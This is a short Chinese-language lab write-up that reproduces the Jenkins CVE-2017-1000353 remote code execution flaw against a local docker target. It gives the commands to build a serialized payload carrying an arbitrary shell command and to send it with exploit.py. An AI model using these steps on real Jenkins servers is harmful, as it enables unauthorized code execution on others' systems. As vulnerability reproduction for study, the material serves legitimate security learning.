Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

原理

参考阅读 https://blogs.securiteam.com/index.php/archives/3171

漏洞复现

等待完全启动成功后,访问http://192.168.44.132:8080即可看到jenkins已成功运行,无需手工安装。

步骤一、生成序列化字符串

参考https://github.com/vulhub/CVE-2017-1000353,首先下载[CVE-2017-1000353-1.1-SNAPSHOT-all.jar](https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar),这是生成POC的工具。

执行下面命令,生成字节码文件:

1
2
3
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字节码文件名
# "touch ..."是待执行的任意命令

执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。

下载exploit.py,python3执行python exploit.py http://192.168.44.132:8080 jenkins_poc.ser,将刚才生成的字节码文件发送给目标:

image-20210823172745321

进入docker,发现/tmp/success成功被创建,说明命令执行漏洞利用成功:

image-20210823172659233

0%